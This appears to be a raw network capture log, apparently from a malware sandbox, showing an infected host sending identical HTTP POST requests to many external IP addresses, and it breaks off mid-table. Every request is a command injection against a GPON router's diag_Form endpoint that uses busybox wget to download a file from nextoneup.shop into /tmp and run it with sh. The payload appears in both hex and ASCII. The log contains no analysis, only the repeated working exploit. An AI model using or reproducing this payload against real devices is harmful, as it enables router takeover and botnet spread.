XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	33836	212.250.189.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176487923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	53758	37.239.97.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176527023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	56664	2.254.236.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176559925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	45774	118.119.27.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176582098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	53370	148.225.102.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176615953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	44798	202.186.73.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176667929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	57416	148.11.225.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176707029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	38236	148.254.150.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176743031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	32830	202.38.133.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176774025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	42872	178.101.33.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176805019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	51102	117.61.122.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176876068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	52632	212.73.221.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176917076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	58410	178.148.248.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176954031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	33628	210.242.38.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.176990986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	39130	5.145.169.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177011967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	53600	42.106.3.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177011967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	43642	202.214.182.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177057981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	46880	123.115.247.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177098036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	59300	123.94.228.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177123070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	52814	94.69.36.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177164078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	48450	2.147.110.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177196026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	49196	79.109.14.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177222967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	53666	117.202.139.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177256107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	51984	94.147.123.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177282095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	45616	117.87.37.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177345991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	42308	148.55.89.232	443

Timestamp	Bytes transferred	Direction	Data
